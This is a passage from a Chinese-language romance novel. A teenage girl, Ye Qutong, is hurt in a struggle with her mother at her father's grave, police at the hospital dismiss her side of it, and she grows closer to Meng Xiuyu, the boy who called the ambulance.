她一把扯过叶曲桐的胳膊,另一只手发疯似的拉扯着叶曲桐的头发,迫使她只能低下头顺着她的放心,可陈郁芸似乎真的不要命一样,她甚至顺势往墓地台阶下跑去,叶曲桐几乎没办法去反抗,整个失去重心几乎半跪在地,嘴里已经呜咽稀碎的喊着,但是陈郁芸却没有停手。 好不容易等陈郁芸踉跄,她才从她手里挣脱半步,头皮已经被扯得生疼。 生理性流泪,朦胧之中,她就看见了孟修榆。 叶曲桐愣了一下,她没想到这里有人。 陈郁芸见她捂着头已经站起来,几乎是没停留一秒就冲到她身边,重新拉扯住她的胳膊,导致两个人一起滚下了山。 下山只有几条石阶小路,是火葬推行前附近的村民修的,山不高,也不陡,以三月的满山桃花闻名,早些时候背阳面有一些土坟,现在全然没有了,一小片墓区也做了隔离提示。 等叶曲桐再次睁开眼时,她已经在病房里了。 更巧的是,陈郁芸也在,但是她没有躺在一边跟她一样惨,而是站着的,手上挂着绷带,关切地问她身体怎么样。医生也站在一边,说是已经替她做过全面的检查,没有骨折,只是脑震荡和一些皮肉伤,留院观察几天就好。 孟修榆也站在一边,最远靠近洗手间的位置。 还有几个民警。 “你们认不认识?” 陈郁芸说认识,叶曲桐说不认识。 民警又问,“你们是怎么一起滚下山?有附近的村民说像是发生了严重争执。” 叶曲桐看向孟修榆,他也看向自己,但是神色淡淡。 民警觉察,立刻说:“不是他说了什么。” 又说,“是他打的急救电话,但是他没听到什么争执,也不知道具体情况。” 陈郁芸微笑着解释,甚至往民警那边靠了靠,“没有争执,小姑娘家家的闹脾气,不知道轻重呀,怎么叫争执,母女之间还能有什么争执吗?” “有争执。”叶曲桐如实说,“严重争执。” 民警教育道:“你在山上拉拉扯扯很危险的知道吧?都多大的人了,十八岁成年了,已经需要负刑事责任了,幸好人家不跟你计较,还这种态度……” 叶曲桐倔强地一字一顿说,“那就负刑事责任吧,该怎么办怎么办。” “你这个小姑娘是不是叛逆期啊?”民警转向陈郁芸,“你要是没什么问题就在笔录上签字吧,我们不主动掺和家务事,要是双方还有其他疑问,可以走调解或者诉讼程序,但是是否立案和后续跟进还需要判断,小孩有时候也不能太惯着了。” 叶曲桐有苦难言,她习惯了陈郁芸这样扮弱小可怜的模样。 陈郁芸感伤地说着:“也是我做得不够好,毕竟年纪差这么多,想法有代沟,有些沟通不到位的地方,都是我的错,毕竟我是大人了,我怎么能跟她计较……” 民警大哥很有感触的点点头,转过身就对叶曲桐教育说:“你这个小姑娘跟我女儿一般大,怎么这么不懂事,我看你妈妈已经很明事理了……” …… 那些没意义的争论叶曲桐记不清了,外婆提着洗漱用品从外面进来时,也是一把挡开其他人,把她护在身后,一边说自己没文化一边说不能这样欺负一个孩子云云。 她真的记不太清楚了…… 她只记得她一开始动怒就开始头晕,胃里翻江倒海,一瞬间从床上弹起来冲进了洗手间,连门都来不及关,就吐了出来。 呕…… “纸巾。” 叶曲桐抬头,看见的那双眼睛跟墓地一样,清澈,温和。 没有什么情绪,像是没有发生任何不好的事情。 “谢……” 孟修榆说:“我扶你起来。” “好,谢谢你。”叶曲桐按下冲水。 孟修榆扶起她,小心地虚揽着。 混杂之中叶曲桐凑在他耳下小声说,“今天送我来医院,也谢谢。” …… 夜风很静,九点刚过,晚自习结束的铃声响起。 叶曲桐吃完饭,想起那天发生的事情,想起事情发生在她父亲墓地前,平和的心情还是一瞬间有点黯下去。 “那天幸好有你,那天除了见到你,其他事情都很倒霉。” 她越说越小声,“真的很倒霉,我一点也不想在爸爸墓前那么狼狈,我很怕他担心,也担心他觉得我生活得不开心,不知道他会不会看到……” “见到你他就会开心了。” “希望是吧。”叶曲桐知道,他在安慰自己。 叶曲桐低着头,筷子在碗底打圈,剩余的一点海鲜粥从碗壁上往下滑。大门开着,风吹进来,孟修榆看到她毛茸茸的发丝被吹乱,低着头,眼睫也在颤动,很细很密,鼻子尖尖。 她是个小情绪都表现在脸上的人。 她不太开心。 “我那天……” 叶曲桐伸手随意捋了一下头发,她喜欢看着人说话,“嗯?” 孟修榆顿了一下,别开眼说:“我去看我妈,我不知道做什么的时候就去陪她。” 五月天,多云转雨,天气说变就变。 叶曲桐想说抱歉,不小心问到这件事,但是她看了眼孟修榆平静的侧脸,想起小时候的颜料盘,有一点深色的灰,有一抹浅浅的银白,融不进其他颜色,但是沉郁很少,沉默居多。 “哦……”叶曲桐问,“那你妈妈是不是算住我爸爸隔壁?” “……算是吧。”按位置来说。 叶曲桐说得真诚,“看你的样子,你妈妈一定也是个大美人。” “应该算。” “那他们的邻里关系应该不错,这一片都是熟人。” 孟修榆淡淡说:“我妈的朋友很少。” “没关系啊,我爸爸其实是个很热情的人,对人很热情,以前总是夸我长得漂亮,学东西快,就是生活太苦了,没给他高兴的权利。” “行了,知道你漂亮了,你妈也说了很多次。” 叶曲桐当真地摆摆手,情绪恢复不少,不好意思地解释:“我是说真的,不是显摆。” 孟修榆安静了两秒才说:“我也说真的。” 如果必须要给天地寂静一个明确的时刻。 那叶曲桐觉得,就是具象的那一句,我也说真的。